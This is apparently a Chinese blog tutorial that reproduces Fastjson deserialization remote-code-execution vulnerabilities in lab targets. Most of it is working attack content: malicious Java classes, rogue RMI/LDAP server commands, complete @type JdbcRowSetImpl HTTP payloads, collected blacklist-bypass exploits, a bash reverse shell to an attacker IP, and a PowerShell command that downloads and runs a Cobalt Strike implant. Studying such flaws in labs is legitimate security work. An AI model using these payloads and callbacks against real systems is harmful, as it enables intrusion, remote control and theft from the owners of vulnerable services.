框架安全之Fastjson滲透
本篇文章是Fastjson框架漏洞復現,記錄了近幾年來爆出的Fastjson框架漏洞,主要分為四個部分:Fastjson簡介、Fastjson環境搭建、Fastjson漏洞復現、Fastjson工具介紹。
本篇文章由淺入深地介紹了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用對Fastjson進行RCE。在學習Fastjson過程中閱讀了幾十篇中英文Fastjson相關技術文章,最終按照作者我的思路進行總結,相關參考文章也在文末列出。此外,文中可能會出現部分錯誤,望讀者指出,謝謝。接著,開始我們的Fastjson框架滲透學習!!
一、Fastjson簡介
Fastjson是Java語言編寫的高性能開源JSON解析庫,由阿里巴巴開發,用于將Java對象轉化為JSON格式字符串,也可以將JSON格式字符串轉化為等價的Java對象,Fastjson可以處理任意Java對象,包括沒有源代碼的已存在對象。具有以下幾個特點:
速度快
廣泛使用
測試完備
使用簡單
功能完備
JNDI
JNDI (Java Naming and Directory Interface)是一組應用程序接口,提供了查找和訪問命名和目錄服務的通用、統一的接口,用于定位網絡、用戶、對象和服務等資源,是J2EE規范中是重要的規范之一。(可以理解為JNDI在J2EE中是一臺交換機,將組件、資源、服務取了名字,再通過名字來查找)
JNDI底層支持RMI遠程對象,JNDI接口可以訪問和調用RMI注冊過的服務。
JNDI根據名字動態加載數據,支持的服務有DNS、LDAP、CORBA、RMI
參考:JNDI學習總結(一)JNDI到底是什么
RMI
RMI (Remote Method Invocation)是專為Java環境設計的遠程方法調用機制,遠程服務器提供API,客戶端根據API提供相應參數即可調用遠程方法。由此可見,使用RMI時會涉及到參數傳遞和結果返回,參數為對象時,要求對象可以被序列化。
LDAP
LDAP(Lightweight Directory Access Protocol)是輕量級目錄訪問協議,用于訪問目錄服務,基于X.500目錄訪問協議
參考:LDAP服務器的概念和原理簡單介紹
JNDI注入
在JNDI服務中,RMI服務端除了直接綁定遠程對象,還可以通過References類綁定一個外部的遠程對象(當前名稱目錄系統之外的對象)。綁定Reference后,服務端先利用Referenceable.getReference()方法獲取綁定對象的引用,并且在目錄中保存。當客戶端使用lookup()方法查找該遠程對象時,會返回ReferenceWrapper類的代理文件,接著調用getReference()獲取Reference類,獲取到相應的object factory,最終通過factory類將reference轉換為具體的對象實例。


從ReferenceWrapper源碼中也可以發現該類繼承自UnicastRmoteObject,實現對Reference進行包裹,使得Reference類能夠通過RMI服務進行遠程訪問

上面介紹了整個加載過程,則攻擊利用流程如下:
1. 目標代碼中調用了InitialContext.lookup(URI),且URI為用戶可控
2. 攻擊者控制URI參數為惡意的RMI服務地址,如:rmi://hacker_rmi_server//name
3. 攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類
4. 目標在進行lookup()操作時,會動態加載并實例化Factory類,接著調用factory.getObjectInstance()獲取外部遠程對象實例
5. 攻擊者可以在Factory類文件的構造方法、靜態代碼塊、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果
參考:深入理解JNDI注入與Java反序列化漏洞利用 - 博客 - 騰訊安全應急響應中心
二、搭建Fastjson
1、IDEA下載
進入官網選擇Community社區版即可
IDEA下載地址:
https://www.jetbrains.com/idea/download/#section=windows

2、IDEA安裝
1)雙擊安裝程序
安裝路徑等默認,下一步
2)安裝選項
如圖勾上,默認下一步(會出現一個小警示,直接確認跳過即可)

3)打開x64版本的IDEA,選擇免費30天


選擇continue

安裝完成
3、安裝JDK1.8
默認安裝,一直下一步即可

4、IDEA創建新項目
啟動IDEA x64,選中剛剛裝好JDK1.8u161版本,點擊NEXT,填寫項目名稱后即可創建成功

第一次創建項目較慢,等待片刻
5、導入Fastjson的jar包
下載地址:
https://mvnrepository.com/artifact/com.alibaba/fastjson
1)選擇1.2.24版本進行下載

2)創建目錄FJ(隨意命名)

3)復制fastjson-1.2.24.jar包至剛剛創建的目錄下

4)前往目錄結構選項中

5)在Module中導入模塊,在Dependencies中點擊加號,選擇第一項

6)選則剛剛導入的jar包,確認即可


6、創建fastjson簡單項目
創建java class,內容如下
import com.alibaba.fastjson.JSON;
public class FJdemo {
public static void main(String[] args){
User user = new User();user.setName("小明");user.setAge(18);
String jsonStr = JSON.toJSONString(user);
System.out.printf(jsonStr);
}}

創建User類
private String name;private Integer age;
public String getName() {return name;}
public void setName(String name) {this.name = name;}
public Integer getAge() {return age;}
public void setAge(Integer age) {this.age = age;}
@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +'}';}

點擊run,執行FJdemo的main函數

三、漏洞復現
以復現操作為主,底層原理解析見后面的文章
1、Fastjson1.2.24 反序列化漏洞RCE(CVE-2017-18349)
0x01 簡介
fastjson在解析json對象時,會使用autoType實例化某一個具體的類,并調用set/get方法訪問屬性。漏洞出現在Fastjson autoType處理json對象時,沒有對@type字段進行完整的安全性驗證,我們可以傳入危險的類并調用危險類連接遠程RMI服務器,通過惡意類執行惡意代碼,進而實現遠程代碼執行漏洞。
影響版本:Fastjson版本小于1.2.25
一些注意點:
反序列化常用的兩種利用方式:基于RMI和基于LDAP。RMI指的是JAVA的遠程方法調用,LDAP是輕量級目錄訪問協議。
JAVA版本限制:
基于RMI的利用方式,JDK版本限制于6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名單的機制,關閉了RMI遠程加載代碼
基于LDAP的利用方式,JDK版本限制于6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle對LDAP向量設置限制,發布了CVE-2018-3149,關閉JNDI遠程類加載
0x02 靶場環境
使用vulhub靶場進行復現,搭建命令如下
cd vulhub/fastjson/1.2.24-rcesudo docker-compose up -d 靶場IP: 192.168.112.141

查看靶場容器信息
sudo docker ps

進入容器內查看java版本
sudo docker exec -it 9599ad4b7cec bash

訪問靶場網址

成功搭建完成~
0x03 復現過程
分析:靶場環境為Java 8u102,沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用鏈結合JNDI注入執行遠程命令
先安裝Java8u20版本,下面提供便捷代碼,將現有的Java刪除并安裝上Java8u20版本(配合快照使用)
cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version
1)編譯惡意類代碼
創建文件名為evilclass.java的文件
import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/test"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
使用javac編譯
javac evilclass.java
2)下載marshalsec工具
marshalsec工具用于開啟RMI服務器
下載地址:
https://github.com/mbechler/marshalsec
git clone https://github.com/mbechler/marshalsec.git

3)安裝maven
apt-get install maven
4)使用maven編譯marshalsec成jar包
mvn clean package -DskipTests


5)搭建啟動RMI服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999

6)BurpSuite抓包改包
POST / HTTP/1.1Host: 192.168.112.141:8090User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 0
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.146:9999/evilclass","autoCommit":true}}

已經發送了evilclass文件

前往靶場容器內,成功執行命令創建test文件

0x04 Linux反彈shell
將上面的java代碼中的執行命令改為反彈shell的命令,其余步驟相似
import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
進行javac編譯,Burpsuite抓包改包發包

成功監聽到反彈shell

2、Fastjson1.2.24 反序列化漏洞RCE(自建win靶場拓展研究)
0x01 簡介
上面復現是在Linux系統中,通過Vulhub搭建的fastjson靶場進行復現,本節通過自建spring+fastjson漏洞環境,深入研究fastjson反序列化漏洞,先開始搭建過程
0x02 環境搭建 Spring+Fastjson
1)創建Spring項目
搭建Spring框架


第一次部署較久
2)導入fastjson包
這次使用dependency的方式導入,將提供的dependency代碼添加至porn.xml中,刷新載入即可

3)創建java類 - 路由解析控制器
創建controller.Login.java,用于解析請求的路由控制器
@Controllerpublic class Login {@RequestMapping(value = "/fastjson", method = RequestMethod.POST)@ResponseBodypublic JSONObject test(@RequestBody String data) {JSONObject obj = JSON.parseObject(data);JSONObject result = new JSONObject();result.put("code", 200);result.put("message", "success");result.put("data", "Hello " + obj.get("name"));return result;}}


報錯后面解決
4)創建model.User.java用戶類,包含一些屬性用于fastjson與數據對應解析
public class User {public String name;public int age;public String id_card;
public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age; }public void setAge(int age) {this.age = age;}public String getId_card() {return id_card;}public void setId_card(String id_card) {this.id_card = id_card;}}


5)解決報錯問題
一般報錯是缺少class,點擊Import class即可

最后添加了一系列的class后,解決了報錯問題

6)啟動項目
點擊右上角的啟動

搭建成功

測試發送json數據
curl http://192.168.112.140:8080/fastjson -H "Content-Type: application/json" --data '{"name":"xiaoming", "age":18}'

0x03 復現過程 - 基于LDAP方式的反序列化漏洞利用
win環境下是使用JDK8u161搭建,由于基于RMI的反序列化漏洞需要JDK版本小于8u121,所以這里復現使用LDAP方式
1)編寫惡意類代碼
public class evilclass {public evilclass (){try{Runtime.getRuntime().exec("calc");}catch (Exception e){e.printStackTrace();}}public static void main(String[] argv){evilclass e = new evilclass();}}
或者寫法二: (推薦)import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"calc"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
2)javac編譯成class
javac evilclass.java
3)開啟http服務
python -m SimpleHTTPServer 80
4)使用marshalsec搭建LDAP服務
這里的命令和RMI方式就一處不同
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999
5)BurpSuite改包
POST /fastjson HTTP/1.1Host: 192.168.112.140:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 133
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:9999/evilclass","autoCommit":true}

經測試,使用RMI方式無法執行遠程命令
0x04 上線Cobalt Strike
這部分雖然和上面的類似,但記錄詳細些,以后用得到
需要準備的東西: 1. Java8u 主要使用javac編譯惡意類 2. marshalsec 用于搭建LDAP服務 主機IP信息: fastjson Win7 192.168.112.140 Kali Linux 192.168.112.146
1)javac編譯惡意類class
創建evilclass.java文件(名字任意,不過要和內容中的類名一致)
import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"powershell", "-Command", "(new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

這里的powershell命令意思是到192.168.112.146主機上下載xigua.exe文件并以xigua.exe文件名存儲并執行此文件,執行命令后,不出意外的話將直接上線CS
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe
使用javac編譯,無報錯即代表成功

2)開啟LDAP服務和python的HTTP服務
使用marshalsec工具開啟LDAP服務(這里同開啟RMI命令類似),開啟端口號為9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999

開啟python2簡易http服務
python -m SimpleHTTPServer 80python -m http.server 80 # python3的命令

3)啟動Cobalt Strike及生成木馬文件
設置監聽器,創建木馬上線文件,命名為xigua.exe,并復制到Kali Linux上,可以直接通過上面開啟的python2的http服務訪問得到。

4)BurpSuite抓包修改
POST /fastjson HTTP/1.1Host: 192.168.112.140:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 133
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:9999/evilclass","autoCommit":true}

5)成功上線CS

3、Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238)
0x01 簡介
Fastjson1.2.24后增加了反序列化白名單,Fastjson中autotype功能允許用戶通過@type指定反序列化的類型,在Fastjson1.2.48版本前攻擊者可以通過構造特殊的json字符串進行繞過該白名單,進而造成遠程命令執行,該漏洞且無需開啟autotype即可利用成功。
0x02 環境搭建
依舊使用vulhub靶場
cd vulhub/fastjson/1.2.47-rcesudo docker-compose up -dsudo docker ps

0x03 復現操作 - 監聽反彈shell
上一個漏洞復現中使用了marshalsec-0.0.3-SNAPSHOT-all.jar工具搭建RMI/LDAP服務,本次復現中使用另一個工具fastjson_tool.jar
下載地址:
https://github.com/wyzxxz/fastjson_rce_tool
1)啟動LDAP服務器
使用如下命令,8888端口為LDAP服務端口,后面的命令為反彈shell命令,直接使用該工具提示的payload。
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"

2)訪問網站,burpsuite抓包修改
POST / HTTP/1.1Host: 192.168.112.141:8090User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 189
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}

3)監聽反彈shell
nc -lvp 9001

0x04 原理分析
參考:Fastjson <=1.2.47 遠程代碼執行漏洞分析 - 安全客,安全資訊平臺 (anquanke.com)
4、Fastjson1.2.62 漏洞簡述
利用方法:
基于黑名單繞過,payload如下
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
5、Fastjson1.2.66 漏洞簡述
同樣是基于黑名單繞過,搜集到的EXP
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
autotypesupport屬性為true才可使用,在1.2.25版本以后該屬性默認為false
四、Fastjson滲透工具
本篇文章涉及到兩個工具:marshalsec-0.0.3-SNAPSHOT-all.jar和fastjson_tool.jar在滲透利用的過程中,本質上都是開啟RMI/lDAP服務器發送惡意代碼至靶機上,但使用上有所區別,這節稍微總結下這兩款工具
1、marshalsec.jar
工具下載地址:GitHub - mbechler/marshalsec
工具JDK版本:JDK8
下載好后需要maven編譯成jar包才可使用,在文件目錄下執行命令
mvn clean package -DskipTests
工具使用方法如下
1)創建惡意類文件
寫法一:
public class evilclass {public evilclass (){try{Runtime.getRuntime().exec("calc");}catch (Exception e){e.printStackTrace();}}public static void main(String[] argv){evilclass e = new evilclass();}}
寫法二: (推薦)
import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"calc"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
2)javac編譯成class文件
javac evilclass.java
3)搭建偽造RMI/LDAP服務
前往marshalsec/target目錄,命令開啟服務,端口設置為9999
# RMI服務java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999 # LDAP服務java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999
4)BP上修改POST包的請求
幾個注意點:
- 一開始抓到的包是GET包,需要改變為POST包,右鍵變更請求方法可以快速切換為POST包
Content-Type需要設置為application/json- 請求內容根據RMI或者LDAP服務做些細微變動,
POST / HTTP/1.1Host: 192.168.112.141:8090User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 0
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.146:9999/evilclass","autoCommit":true}}
LDAP服務修該請求內容即可
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:9999/evilclass","autoCommit":true}
后記:這款工具功能還是挺強的,限于筆者我實力較菜,更多的功能參考百度或等我后續變強再來更新
2、fastjson_rce_tool
工具下載地址:
GitHub - wyzxxz/fastjson_rce_tool: fastjson
命令執行自動化利用工具
這款工具相較于上一個工具更加便捷、自動化,下載好后無需maven編譯,也不用自己創建java惡意類代碼,直接根據工具提供的payload進行測試攻擊,上手容易,使用容易,新手推薦這個~~
簡單介紹幾個功能,更多功能參考工具下載地址或百度
測試環境:
Vulhub Ubuntu 192.168.112.141 Kali Linux 192.168.112.146
0x01 結合dnslog.cn測試遠程代碼是否可執行
1)生成dnslog.cn的子域名
8067nw.dnslog.cn

2)搭建LDAP服務器
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "curl 8067nw.dnslog.cn"

3)BP改包
將上面提供的payload寫入POST請求中
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}

4)到dnslog.cn上查看靶機是否執行了curl命令
可以發現靶機成功執行了curl命令,說明存在RCE漏洞

0x02 反彈shell及其他
操作方法類似,就是將命令更改為反彈shell的命令
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"
小結:這里的命令部分相當于marshalsec工具中的自己寫的惡意類中的可執行命令部分,只是fastjson_rce_tool簡化了操作,我們只要提供命令執行參數即可,適合小白~
更多的操作及命令可自行拓展或者去工具下載地址查看
五、總結
注意JDK的版本,基于不同方式的反序列化攻擊有不同的限制,否則會使得攻擊無效

IDEA搭建Fastjson框架時有兩種導入包的方式,一種是手動創建目錄導入,一種是在porn.xml中插入代碼,刷新自動導入,推薦后面一種
工具涉及到兩種,一個是marshalsec,另一個是fastjson_rce_tool,推薦新手先使用第二個工具,上手較容易
六、參考
alibaba/fastjson: A fast JSON parser/generator for Java.
Maven Repository: com.alibaba ? fastjson
mbechler/marshalsec (github.com)
GitHub - wyzxxz/fastjson_rce_tool
Fastjson<=1.2.47反序列化漏洞復現
Fastjson <=1.2.47遠程命令執行